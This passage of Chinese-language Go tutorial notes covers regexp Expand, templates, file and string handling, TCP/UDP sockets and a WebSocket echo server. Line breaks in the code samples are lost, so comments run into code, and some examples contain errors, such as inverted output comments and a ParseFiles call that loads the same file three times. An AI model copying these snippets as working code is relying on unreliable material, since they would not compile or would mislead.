)func main() {src := []byte(`call hello alicehello bobcall hello eve`)pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res := []byte{}for _, s := range pat.FindAllSubmatchIndex(src, -1) {fmt.Println(string(s[0]))// Expand 要配合 FindSubmatchIndex 一起使用。FindSubmatchIndex 在 src 中进行// 查找,将结果存入 match 中。这样就可以通过 src 和 match 得到匹配的字符串。// template 是替换内容,可以使用分组引用符 $1、$2、$name 等。Expane 将其中的分// 组引用符替换为前面匹配到的字符串。然后追加到 dst 的尾部(dst 可以为空)。// 说白了 Expand 就是一次替换过程,只不过需要 FindSubmatchIndex 的配合。res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)}fmt.Println(string(res))
}

模板处理

这里说的模板,指的是mvc结构中的view层.简而言之,和PHP中的访问->module->control->action->获取view的感觉是一样的.

如果是前后端分离的项目,这个就不用看了.

在访问HTML情况下,用户在访问页面时我们在action直接将用户引导到静态页面即可.

但是如果页面不是前后端分离的,而且页面有很多数据从action打印,这时候就要用go中的template包来对模板内容进行处理

go模板使用

在go中,我们使用template包来对模板进行处理

和其他语言一样,都是要先获取数据,然后渲染到模板.

func handler(w http.ResponseWriter, r *http.Request) {t := template.New("some template") //创建一个模板t, _ = t.ParseFiles("views/welcome.html")  //解析模板文件,必须要有文件存在user := GetUser() //获取当前用户信息t.Execute(w, user)  //执行模板的merger操作
}

下面我们在接下来的例子中都用遮掩的格式代码

  • 使用Parse代替ParseFiles,Parse可以直接测试一个字符串,而不需要额外的文件
  • 不使用handler来写演示代码,而是每个测试一个main,方便测试
  • 使用os.Stdout代替http.ResponseWriter,因为os.Stdout实现了io.Writer接口

模板中插入数据

字段操作

在go语言的模板中,同使用{{}}来包含需要再渲染时被替换的字段

如果模板中输出{{.}},这个一般应用于字符串对象,默认会调用fmt包输出字符串的内容,{{.}}表示当前的对象,

如果要访问当前对象的字段通过{{.FieldName}}

注意:这个字段必须是可导出的公有的(字段首字母必须是大写的),不然就会报错

package mainimport ("html/template""os"
)type Person struct {UserName stringpassword string
}func main() {创建一个模板t := template.New("fieldname example")//解析模板文件,t.Parse()处理的可以不是一个文件//要导出的字段必须是大写的,否则显示为空t, _ = t.Parse("hello {{.UserName}} {{.password}}!")p := Person{UserName: "this hello",password:"this password"}t.Execute(os.Stdout, p)//如果passowrd 为大写 输出  hello this hello//如果password为小写 输出 hello this hello this password!
}

输出嵌套字段内容

如果模板里还有对象需要遍历的话,我们可以用{{with …}}…{{end}}和{{range …}}{{end}}来处理

  • {{range}} 这个和Go语法里面的range类似,循环操作数据
  • {{with}}操作是指当前对象的值,类似上下文的概念
package mainimport ("html/template""os"
)type Friend struct {Fname string
}type Person struct {UserName stringEmails   []stringFriends  []*Friend
}func main() {//想结构体中的字段填充内容f1 := Friend{Fname: "nihao"}f2 := Friend{Fname: "wohao"}//新建一个模板,这里的内容任意填t := template.New("hahah example")//拼装一个模板结构//因为下面会用t调用Execute来把模板结构和结构体拼装到一起//所以这里这个模板结构,就很容易明白是怎么回事了,先声明一个机构提,再拼装一个模板结构,用模板结构调用执行函数,将结构体和模板结构拼装// 结构已经很显然了,range .Emails代表遍历这个属性,{{.}代表在遍历时获取每一个字段,注意每一个range都需要一个end,{{.}}也要放到两者之间//而,下面的with只是另一种写法t, _ = t.Parse(`hello {{.UserName}}!{{range .Emails}}an email {{.}}{{end}}{{with .Friends}}{{range .}}my friend name is {{.Fname}}{{end}}{{end}}`)//向结构体中填充数据,将结构体补全, 最终将两个结构体合二为一p := Person{UserName: "json",//这里这个emails是一个数组,所以展示的时候,就需要变遍历,需要再模板中使用rangeEmails:   []string{"json@163.com", "ason@gmail.com"},//同样,这的friends也是一个数组Friends:  []*Friend{&f1, &f2},}//执行模板混合, 将模板结构和结构体的数据拼装,同时打印数据//t.Execute指的就是,t是一个模板的结构,Execute就是拼装函数, 而p则是我们事先准备好的结构体t.Execute(os.Stdout, p)
}

条件处理

这个没什么好说的,看案例吧

package mainimport ("os""text/template"
)type Where struct {Any bool
}func main() {//为ture,下面显示if 部分,为false,下面显示else部分whe := Where{Any: true}//新建一个模板tIfElse := template.New("template test")//这里的这个条件判断就不说了,一看就明白//must函数作用是检测模板是否正确,例如大括号是否匹配,注释是否正确的关闭,变量是否正确的书写,如果有问题就会抛出一个panic同时提示哪一行错了什么tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if .Any}} if部分 {{else}} else部分.{{end}}\n"))tIfElse.Execute(os.Stdout, whe)
}

pipelines

go的pipe和Linux的,ls | grep "beego"功能一样,用于过滤

{{. | html}}

模板变量

有时候可能需要声明一些局部变量,比如 with range if过程中申明局部变量,这个变量的作用域是{{end}}之前

//下面的$x就是变量
{{with $x := "output" | printf "%q"}}{{$x}}{{end}}
{{with $x := "output"}}{{printf "%q" $x}}{{end}}
{{with $x := "output"}}{{$x | printf "%q"}}{{end}}

Must操作,检测文本是否正确

模板包里面有一个函数Must,它的作用是检测模板是否正确,例如大括号是否匹配,注释是否正确的关闭,变量是否正确的书写。用Must来判断模板是否正确:

这也没什么好说的,看代码吧

package mainimport ("text/template""os"
)func main() {tOk := template.New("first")//一切正常,正常输出mustOk := template.Must(tOk.Parse(" some static text /* and a comment */"))mustOk.Execute(os.Stdout, nil)tErr := template.New("check parse error with Must")//这里就会提示一个panic: template: check parse error with Must:1: unexpected "}" in operand//只要在{{ .Name}后面再加上一个}就可以修复mustErr := template.Must(tErr.Parse(" some static text {{ .Name}"))mustErr.Execute(os.Stdout, nil)
}

模板函数

go的模板是可以支持函数的,这里就不累述了.知道就行

嵌套模板

在平时开发中可能会遇到,模板嵌套的问题,比如头部和尾部是一样的,这时候就要进行模板嵌套了.

所以我们可以定义成header、content、footer三个部分

其实这一块没什么新料,主要就是利用template.ParseFiles(),同时加载多个文件而已

声明一个子模板

{{define "子模板名称"}}内容{{end}}

通过如下方式来调用:

{{template "子模板名称"}}

嵌套案例

#文件结构
~/go/src/web/template on  master! ⌚ 19:38:33
$ tree
.
├── content.html
├── field.go
├── footer.html
├── header.html
├── multi.go
├── must.go
├── nest.go
└── where.go0 directories, 8 files

静态页面,放在三个文件中,分别叫做header.tmpl、content.tmpl、footer.tmpl


//header.tmpl
{{define "header"}}
<html>
<head><title>演示信息</title>
</head>
<body>
{{end}}//content.tmpl
{{define "content"}}
{{template "header"}}
<h1>演示嵌套</h1>
<ul><li>嵌套使用define定义子模板</li><li>调用使用template</li>
</ul>
{{template "footer"}}
{{end}}//footer.tmpl
{{define "footer"}}
</body>
</html>
{{end}}

go代码

package mainimport ("fmt""os""text/template"
)func main() {//将三个文件同时加载进去s1, _ := template.ParseFiles("template/header.html", "template/header.html", "template/header.html")//打印header文件s1.ExecuteTemplate(os.Stdout, "header", nil)fmt.Println()//打印内容文件s1.ExecuteTemplate(os.Stdout, "content", nil)fmt.Println()//打印注脚文件s1.ExecuteTemplate(os.Stdout, "footer", nil)fmt.Println()s1.Execute(os.Stdout, nil)
}

文件文件处理

目录操作

文件操作的大多数函数都是在os包里面

os包中常用的的函数

  • func Mkdir(name string, perm FileMode) error 创建名称为name的目录,权限设置是perm,例如0777
  • func MkdirAll(path string, perm FileMode) error 根据path创建多级子目录,例如astaxie/test1/test2。
  • func Remove(name string) error 删除名称为name的目录,当目录下有文件或者其他目录时会出错
  • func RemoveAll(path string) error 根据path删除多级子目录,如果path是单个名称,那么该目录下的子目录全部删除。
package mainimport ("os"
)func main() {//创建单个目录,不能创建多级目录//err := os.Mkdir("nihao/hahahha/", 0777)//if err != nil{//  panic(err)//}//可以创建多级目录err := os.MkdirAll("nihao/tahao/", 0777)if err != nil {panic(err)}//只能删除空目录//err := os.Remove("nihao")//if err != nil {//    fmt.Println(err)//}//可以删除多级目录,即使有内容也一样可以删除err = os.RemoveAll("nihao")if err != nil {panic(err)}
}

文件操作

新建文件

  • func Create(name string) (file *File, err Error) 根据提供的文件名创建新的文件,返回一个文件对象,默认权限是0666的文件,返回的文件对象是可读写的,文件已存在,会覆盖文件。
  • func NewFile(fd uintptr, name string) *File 根据文件描述符创建相应的文件,返回一个文件对象,这个要用文件描述符,很麻烦

打开文件

  • func Open(name string) (file *File, err Error) 该方法打开一个名称为name的文件,但是是只读方式,内部实现其实调用了OpenFile。
  • func OpenFile(name string, flag int, perm uint32) (file *File, err Error) 打开名称为name的文件,flag是打开的方式,只读、读写等,perm是权限

写文件

  • func (file *File) Write(b []byte) (n int, err Error) 写入byte类型的信息到文件
  • func (file *File) WriteAt(b []byte, off int64) (n int, err Error) 在指定位置开始写入byte类型的信息
  • func (file *File) WriteString(s string) (ret int, err Error) 写入string信息到文件
package mainimport ("fmt""os"
)func main() {userFile := "nihao.txt"//直接创建文件,文件已存在,会覆盖fout, err := os.Create(userFile)if err != nil {fmt.Println(userFile, err)return}//关闭资源defer fout.Close()//循环写入内容for i := 0; i < 10; i++ {//写入内容fout.WriteString("test\n")//注意这个和上面的不同,这是一个bytefout.Write([]byte("test\n"))}
}

读文件

  • func (file *File) Read(b []byte) (n int, err Error) 读取数据到b中

  • func (file *File) ReadAt(b []byte, off int64) (n int, err Error) 从off开始读取数据到b中

package mainimport ("fmt""os"
)func main() {userFile := "nihao.txt"//打开文件fl, err := os.Open(userFile)if err != nil {fmt.Println(userFile, err)return}//关闭资源defer fl.Close()//开辟内存空间buf := make([]byte, 1024)//死循环for {//按照开辟的内存空间,循环读取文件,读到文件结束的时候会返回0n, _ := fl.Read(buf)if 0 == n {//退出循环break}os.Stdout.Write(buf[:n])}
}

删除文件

删除文件和删除文件夹是同一个函数

  • func Remove(name string) Error 调用该函数就可以删除文件名为name的文件

字符串处理和转换

主要是用Go标准库中的stringsstrconv两个包中的函数

字符串操作

主要用strings包

  • func Contains(s, substr string) bool 字符串s中是否包含substr,返回bool值
  • func Join(a []string, sep string) string 字符串链接,把slice a通过sep链接起来
  • func Index(s, sep string) int在字符串s中查找sep所在的位置,返回位置值,找不到返回-1
  • func Repeat(s string, count int) string 重复s字符串count次,最后返回重复的字符串
  • func Replace(s, old, new string, n int) string 在s字符串中,把old字符串替换为new字符串,n表示替换的次数,小于0表示全部替换
  • func Split(s, sep string) []string 把s字符串按照sep分割,返回slice
  • func Trim(s string, cutset string) string 在s字符串的头部和尾部去除cutset指定的字符串
  • func Fields(s string) []string 去除s字符串的空格符,并且按照空格分割返回slice
package mainimport ("fmt""strings"
)func main() {//判断字符串是否在另一个字符串中,返回bool值fmt.Println(strings.Contains("we are chinese", "chin")) //truefmt.Println(strings.Contains("we are chinese", "ss"))   //falsefmt.Println(strings.Contains("we are chinese", ""))     //true//字符串连接,将slice通过指定符号拼接成字符串s := []string{"aaa", "sss", "ddd"}fmt.Println(strings.Join(s, ",")) //aaa,sss,ddd//在字符串中查找s指定字符串所在的位置,返回位置值,找不到返回-1fmt.Println(strings.Index("we are chinese", "ch")) //7//重复生成字符串sss 3次,返回生成后的字符串fmt.Println("aaa" + strings.Repeat("sss", 3))//在字符串中,把we替换为We,2表示替换的次数如果小于0表示全部替换(类似于正则中的是否贪婪替换)fmt.Println(strings.Replace("we we are chinese", "we", "We", 1)) //We are chinesefmt.Println(strings.Replace("we we are chinese", "we", "We", 2)) //We We are chinesefmt.Println(strings.Replace("we are chinese", "ch", "Ch", -1))   //we are Chinese//把字符串按照指定符号进行分割成slice,如果指定符号为""会将所有字符全部指定为slice的一个元素,包括空格字啊内fmt.Printf("%q\n", strings.Split("a,b,c", ",")) //["a" "b" "c"]fmt.Printf("%q\n", strings.Split(" abc ", ""))  //[" " "a" "b" "c" " "]fmt.Printf("%q\n", strings.Split("", "haha"))   //[""]//在字符串首尾,去掉指定的字符fmt.Println(strings.Trim("-hahah nihao woshi -", "-")) //hahah nihao woshi//去掉字符串中的所有空格,并按照空格分割,返回slicefmt.Println(strings.Fields("nihao wo shi ZhonGUo ren nine ")) //[nihao wo shi ZhonGUo ren nine]}

字符串转换

字符串转化的函数在strconv中

  • Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中。
  • Format 系列函数把其他类型的转换为字符串
  • Parse 系列函数把字符串转换为其他类型
package mainimport ("strconv""fmt"
)func checkError(e error) {if e != nil {fmt.Println(e)}
}func main() {//Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中。fmt.Println("Append函数:-----------")//创建数组str := make([]byte, 0, 100)//[]byte中添加int类型(int-->[]byte),值是4567,10进制,返回的是utf8编号,显示的时候需要string()一下str = strconv.AppendInt(str, 4567, 10)fmt.Println(string(str))// []byte中添加bool类型 (bool-->[]byte)str = strconv.AppendBool(str, false)fmt.Println(string(str))// []byte中添加string类型(包含双引号)  (string-->[]byte)str = strconv.AppendQuote(str, "ssss")fmt.Println(string(str))//AppendQuoteRune 将 Unicode 字符转换为“单引号”引起来的字符串,//并将结果追加到 dst 的尾部,返回追加后的 []byte//“特殊字符”将被转换为“转义字符”str = strconv.AppendQuoteRune(str, '哈')fmt.Println(str)fmt.Println("Format函数:-----------")//将布尔值转换为字符串 "true" 或 "false"a := strconv.FormatBool(false)//将浮点数123.23转换为字符串值// 123.23要转换的浮点数, g格式标记(b、e、E、f、g、G,), 12精度(数字部分的长度,不包括指数部分),64指定浮点类型(32:float32、64:float64)b := strconv.FormatFloat(123.23, 'g', 12, 64)//将 int 型整数 1234 转换为字符串形式//10为进制c := strconv.FormatInt(1234, 10)//将 uint 型整数 12345 转换为字符串形式//10为进制d := strconv.FormatUint(12345, 10)//Itoa 相当于 FormatInt(i, 10), Itoa()仅限十进制e := strconv.Itoa(1024)fmt.Println(a, b, c, d, e)fmt.Println("Parse函数:-----------")//将字符串转换为布尔值aa, err := strconv.ParseBool("false")checkError(err)//ParseFloat 将字符串转换为浮点数// 将123.12转换为浮点型// 64:指定浮点类型(32:float32、64:float64)bb, err := strconv.ParseFloat("123.12", 64)checkError(err)// ParseInt 将字符串转换为 int 类型// s:要转换的字符串// base:进位制(2 进制到 36 进制)// bitSize:指定整数类型(0:int、8:int8、16:int16、32:int32、64:int64)cc, err := strconv.ParseInt("1234", 10, 64)checkError(err)// ParseUint 功能同 ParseInt 一样,只不过返回 uint 类型整数dd, err := strconv.ParseUint("12345", 10, 64)checkError(err)// Atoi 相当于 ParseInt(s, 10, 0)ee, err := strconv.Atoi("1024")checkError(err)fmt.Println(aa, bb, cc, dd, ee)}

Web服务

目前主流的有如下几种Web服务:REST、SOAP。不过现在已经不再使用SOAP了,直接忽略即可.

  • REST请求是很直观的,因为REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑,很多Web开发者都熟悉HTTP协议,所以学习REST是一件比较容易的事情。

  • SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂,其完整的规范篇幅很长,而且内容仍然在增加。

Socket编程

socket主要有两种,TCP socket和UDP socket. 即基于TCP协议还是UDP协议.

目前主要使用IPV4,例如:127.0.0.1 172.122.121.111

下一代是IPV6,国内正在大力推行,例如2002:c0e8:82e7:0:0:0:c0e8:82e7

Go支持的IP类型

go的net包中IP的类型定义如下:

type IP []byte

net包中有很多函数来操作IP,其中ParseIP(s string) IP 函数可以把一个IPV4或者IPV6地址转换为IP类型,主要用来判断是否是一个格式合法的IP地址

package mainimport ("os""fmt""net"
)func main() {//获得到参数,[0]为文件路径,[1]为输入的第一个参数,所以如果要带参的话,数组最小也应该是2个元素if len(os.Args) != 2 {fmt.Println("请输入参数")os.Exit(1)}name := os.Args[1]//将IP换转为IP类型,一般我们主要用来判断该IP地址是否是一个格式合法的IP地址addr := net.ParseIP(name)if addr == nil {fmt.Println("IP地址有误")} else {fmt.Println("输入的IP地址是:", addr.String())fmt.Printf("%T-%v", addr.String(), addr.String())}os.Exit(0)
}
//~/go/src/web/socket on  master! ⌚ 2:42:36
//$ go run ip.go 127.0.0.1
//输入的IP地址是: 127.0.0.1
//net.IP - 127.0.0.1%

TCP Socket

很显然go可以写socket客户端作为请求用,也可以写服务端做推送用.

net包中有一个类型TCPConn,这个类型可以用来作为客户端和服务端交互的通道,TCPConn可以用在客户端和服务端来读写数据.

主要用到的函数就是读写这两个:

// Write从连接中写入数据
// Write方法可能会在超过某个固定时间限制后超时返回错误,该错误的Timeout()方法返回真
`func (c *TCPConn) Write(b []byte) (int, error)`
// Read从连接中读取数据
// Read方法可能会在超过某个固定时间限制后超时返回错误,该错误的Timeout()方法返回真
`func (c *TCPConn) Read(b []byte) (int, error)`

TCPAddr类型,他标识一个TCP的地址信息,定义如下

type TCPAddr struct {IP IPPort intZone string // IPv6 scoped addressing zone
}

go语言可以通过ResolveTCPAddr获取一个TCPAddr

func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)
  • net参数是tcp4,tcp6,tcp中的任意一个,分别表示TCP(IPv4-only), TCP(IPv6-only)或者TCP(IPv4, IPv6的任意一个)。
  • addr标识域名或者IP地址

TCP client

通过net包中的DialTCP函数来简历一个TCP连接,并返回一个TCPConn类型的对象.

当连建立连接时,服务器端也会创建一个同类型的对象,此时客户端和服务端各自有一个TCPConn对象进行数据交换.

func DialTCP(network string, laddr, raddr *TCPAddr) (*TCPConn, error)
  • net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个)
  • laddr代表本机地址,一般直接设置为nil
  • raddr标识远程服务器地址

这里模拟一个基于HTTP协议的客户端请求去连接一个Web服务端,http请求头格式如下:

"HEAD / HTTP/1.0\r\n\r\n"

从服务器介绍到的相应信息可能如下

HTTP/1.0 302 Found
Content-Length: 17931
Content-Type: text/html
Date: Sun, 28 Jul 2017 18:57:44 GMT
Etag: "54d97485-460b"
Server: bfe/1.0.8.18

客户端请求案例,阻塞请求.

package mainimport ("fmt""io/ioutil""net""os"
)func main() {//验证输入的数据长度if len(os.Args) != 2 {fmt.Fprintf(os.Stderr, "错误的参数: %s host:port ", os.Args[0])os.Exit(1)}//得到参数service := os.Args[1]//处理链接,得到一个TCPAddr类型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//创建连接conn, err := net.DialTCP("tcp", nil, tcpAddr)checkError(err)//发送数据_, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))checkError(err)//读取通道中的信息result, err := ioutil.ReadAll(conn)checkError(err)//打印数据fmt.Println(string(result))os.Exit(0)
}
func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)}
}

TCP server

通过net包来,创建一个服务器端程序,主要用下面两个函数

//监听端口,返回网络套接字
func ListenTCP(network string, laddr *TCPAddr) (*TCPListener, error)
//等待并返回到侦听到端口的下一个连接。
func Accept(l *TCPListener) Accept() (Conn, error)

这里是一个简单的服务器程序,阻塞接收数据,不能处理多个客户端

package mainimport ("fmt""net""os""time"
)func main() {service := ":7777"//激活句柄,处理链接,得到一个TCPAddr类型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//监听端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//死循环不断的处理端口传来的数据for {//接收通过端口接听到的数据conn, err := listener.Accept()if err != nil {continue}//随便订的时间戳daytime := time.Now().String()//发送数据给客户端conn.Write([]byte(daytime))conn.Close()}
}
func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)}
}

利用goroutine优化服务器代码,可以同时处理多个客户端请求

主要是通过将业务处理,分离到一个单数函数中,当服务端通过监听接收到信息的时候,使用goroutine调用该函数进行业务处理,进而不阻塞进程.

package mainimport ("fmt""net""os""time"
)func main() {service := ":1200"//处理IP地址,得到得到一个TCPAddr类型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//监听端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//同样,死循环处理端口传来的数据for {//接收端口传来的数据conn, err := listener.Accept()if err != nil {continue}//使用goroutine来用handleClient函数处理接收到的数据并返回数据go handleClient(conn)}
}func handleClient(conn net.Conn) {defer conn.Close()//随便生成的时间格式daytime := time.Now().String()//发送数据conn.Write([]byte(daytime))
}
func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)}
}

如果需要通过从客户端发送不同的请求来获取不同的时间格式,而且需要一个长连接,这时候就需要用到了,控制TCP连接

TCP有很多连接控制函数,我们平常用到比较多的有如下几个函数:

//设置建立连接的超时时间,客户端和服务器端都适用,当超过设置时间时,连接自动关闭。
func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)
//用来设置写入/读取一个连接的超时时间。当超过设置时间时,连接自动关闭。
func (c *TCPConn) SetReadDeadline(t time.Time) error
func (c *TCPConn) SetWriteDeadline(t time.Time) error
//设置keepAlive属性,是操作系统层在tcp上没有数据和ACK的时候,会间隔性的发送keepalive包,操作系统可以通过该包来判断一个tcp连接是否已经断开,在windows上默认2个小时没有收到数据和keepalive包的时候人为tcp连接已经断开,这个功能和我们通常在应用层加的心跳包的功能类似。
func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error

服务端控制tcp连接,同时实现长连接和不同参数不同处理的案例

package mainimport ("fmt""net""os""time""strings""strconv"
)func main() {service := "172.16.8.7:1200"//设置IP信息,得到tcp ip地址的TCPAddr格式的信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//监听端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//死循环,不停的监听端口for {//接收端口传来的数据conn, err := listener.Accept()if err != nil {continue}//使用goroutine处理业务逻辑的函数go handleClient(conn)}
}func handleClient(conn net.Conn) {//设置超时时间conn.SetReadDeadline(time.Now().Add(2 * time.Minute))//设置最大请求数据的长度,防止洪水攻击request := make([]byte, 128)defer conn.Close()clientDate := "这里是客户端发送的数据";for {//从连接中读取内容read_len, err := conn.Read(request)if err != nil {fmt.Println(err)break}//如果返回内容时的长度是0,退出进程if read_len == 0 {fmt.Println("请求的数据为空")break//如果返回时间,清除两端的空格截取0-最后的内容转换为字符串后==timestamp这个字符串,那么格式化时间,返回时间} else if strings.TrimSpace(string(request[:read_len])) == "timestamp" {daytime := strconv.FormatInt(time.Now().Unix(), 10)conn.Write([]byte(daytime))} else {//否则直接发送当前时间戳daytime := time.Now().String()conn.Write([]byte(daytime))}fmt.Println("客户端请求的数据长度为:", read_len)//清空最后一次读取的内容,好让新的数据写入进去request = make([]byte, 128)}
}func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)}
}

UDP Socket

UDP SocketTCP Socket不同的地方就是在服务器端处理多个客户端请求数据包的方式不同,UDP缺少了对客户端连接请求的Accept函数。其他基本几乎一模一样,只有TCP换成了UDP而已

UDP的几个主要函数如下所示:

下面几个函数基本上和TCP的功能是一模一样的,不做过多介绍了就

//通过传入IP地址,得到UDPAddr类型的UDP IP信息
func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
//建立一个UDP连接,返回UDPConn类型的对象
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
//监听端口,返回一个网络套接字,其实就是一个UDPConn类型的数据
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
//从UDP连接中读取连接中的内容
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error)
//向UDP连接发送数据
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)

UDP客户端代码,可见唯一不同的地方就是TCP换成了UDP

package mainimport ("fmt""net""os"
)func main() {if len(os.Args) != 2 {fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])os.Exit(1)}service := os.Args[1]//通过传入IP地址,得到UDPAddr类型的UDP IP信息udpAddr, err := net.ResolveUDPAddr("udp4", service)checkError(err)//建立一个UDP连接,返回UDPConn类型的对象conn, err := net.DialUDP("udp", nil, udpAddr)checkError(err)//发送信息_, err = conn.Write([]byte("anything"))checkError(err)//创建内存空间var buf [512]byte//读取UDP连接中的数据n, err := conn.Read(buf[0:])checkError(err)//打印数据fmt.Println(string(buf[0:n]))os.Exit(0)
}
func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())os.Exit(1)}
}

UDP服务度也一样,唯有几个函数不同而已

package mainimport ("fmt""net""os""time"
)func main() {service := ":1200"//通过传入IP地址,得到UDPAddr类型的UDP IP信息udpAddr, err := net.ResolveUDPAddr("udp4", service)checkError(err)//监听端口,返回一个网络套接字,其实就是一个UDPConn类型的数据conn, err := net.ListenUDP("udp", udpAddr)checkError(err)//死循环,不见得监听for {//调用逻辑循环函数handleClient(conn)}
}
func handleClient(conn *net.UDPConn) {//开辟内容空间var buf [512]byte//读取连接中的内容_, addr, err := conn.ReadFromUDP(buf[0:])if err != nil {return}daytime := time.Now().String()//想UDP发送数据conn.WriteToUDP([]byte(daytime), addr)
}
func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())os.Exit(1)}
}

WebSocket

WebSocket是HTML5的重要特性,它实现了基于浏览器的远程socket

WebSocket采用了一些特殊的报头,客户端首次连接利用http协议和服务端进行握手.

随后在在浏览器和服务器之间建立一条连接通道。且此连接会保持在活动状态.

我们可以使用JavaScript来向连接写入或从中接收数据,就像在使用一个常规的TCP Socket一样。

WebSocket URL的起始输入是ws://或是wss://(在SSL上)

WebSocket原理

websocket的协议很简单,第一次握手通过之后即进入正式的socket连接其后的通讯数据都是以”\x00″开头,以”\xFF”结尾。在客户端这个是透明的,websocket会自动掐头去尾.

浏览器发出WebSocket连接请求,然后服务器发出回应,然后连接建立成功,这个过程通常称为“握手” (handshaking),请求和返回可下面的两块代码

请求头

Host: widget-mediator.zopim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: https://www.jubi.com
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: gcU/lZSgmiw+gOpD8RTa4Q==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: __cfduid=d798f1f8c91c66a38c22354e5d2fd189a1555936892
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

响应头

HTTP/1.1 101 Switching Protocols
Date: Mon, 29 Jul 2017 04:19:19 GMT
Connection: upgrade
Set-Cookie: AWSALB=L+ZNZIZHUTircR4sAf96PCF/u6qLr+n9cqosKo1BbRo6IWwxEwXZnwkPeb2/WEp0uKQHGZa6SdO2Og5ZKqugLGNphEzMJvSNxzK97rqQYAWdNC3rSmn80EpV1cii; Expires=Mon, 05 Aug 2019 04:19:19 GMT; Path=/
Upgrade: websocket
Sec-WebSocket-Accept: CH+PHGTvG/xMvP+YFRwksP4ak2U=
Sec-WebSocket-Version: 13
WebSocket-Server: uWebSockets

从上面的两端代码,可以看到请求中的"Sec-WebSocket-Key"是随机的base64编码后的一段字符串.

服务端接收到这个请求之后,需要把这个字符串连接上一个固定的字符258EAFA5-E914-47DA-95CA-C5AB0DC85B11

拼接成这样gcU/lZSgmiw+gOpD8RTa4Q==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

然后对该字符串使用sha1算法取出二进制的值,然后base64.如下

Sec-WebSocket-Accept = base64(sha1(Sec-WebSocket-Key +  258EAFA5-E914-47DA-95CA-C5AB0DC85B11));

随后将之作为响应头Sec-WebSocket-Accept的值反馈给客户端。

具体可以看这里,我的另一边笔记

WebSocket基础

Go实现WebSocket

Go语言标准包里面没有提供对WebSocket的支持,但是在由官方维护的go.net子包中有对这个的支持.

其实也可以字节写一个socket服务,自己做握手,很简单.

go get golang.org/x/net/websocket

客户端的HTML代码, 客户端一共绑定了四个事件。

  • onopen 建立连接后触发
  • onmessage 收到消息后触发
  • onerror 发生错误时触发
  • onclose 关闭连接时触发
<html>
<head></head>
<body>
<script type="text/javascript">//实例化WebSocketvar ws = new WebSocket('ws://127.0.0.1:999');//连接触发ws.onopen = function (evt) {//连接成功 发送数据ws.send('我是前端发送的数据');};//判断错误ws.onerror = function (evt) {console.log('socketError:' + evt);};//接受数据触发ws.onmessage = function (data) {console.log(data);};//关闭连接触发ws.onclose = function () {console.log('连接已关闭');};function send() {var msg = document.getElementById('message').value;ws.send(msg);};
</script>
<h1>WebSocket Echo Test</h1>
<form><p>Message: <input id="message" type="text" value="Hello, Fucker!"></p>
</form>
<button onclick="send();">Send Message</button>
</body>
</html>

服务端代码

package mainimport ("golang.org/x/net/websocket""fmt""log""net/http"
)func Echo(ws *websocket.Conn) {var err error//死循环,不间断处理for {//定义一个变量,后面读取websocket内容的时候要用到他的指针var reply string//读取websocket的,replay为返回的内容if err = websocket.Message.Receive(ws, &reply); err != nil {fmt.Println("Can't receive")break}fmt.Println("客户端发送的信息: " + reply)msg := "服务器接收到数据,这里是服务器返回的信息"if err = websocket.Message.Send(ws, msg); err != nil {fmt.Println("Can't send")break}}
}func main() {//通过一个http服务来做http.Handle("/", websocket.Handler(Echo))//开启服务if err := http.ListenAndServe(":999", nil); err != nil {log.Fatal("ListenAndServe:", err)}
}

上面我在写wesocket案例的时候发生了一个小插曲,在Mac自带的浏览器中运行HTML文件后websocket跑步起来,提示

WebSocket connection to 'ws://127.0.0.1:999/' failed: Unexpected response code: 403

查看请求头发现Origin参数为null,我想应该是这个问题,于是我用Chrome运行就跑起来了...

Chrome中该字段的值是Origin: file://

还有一个方案就是在服务端,取消origin认证,默认是要认证Origin参数的

Connection: Upgrade
Host: 127.0.0.1:999
Origin: null
Pragma: no-cache
Cache-Control: no-cache
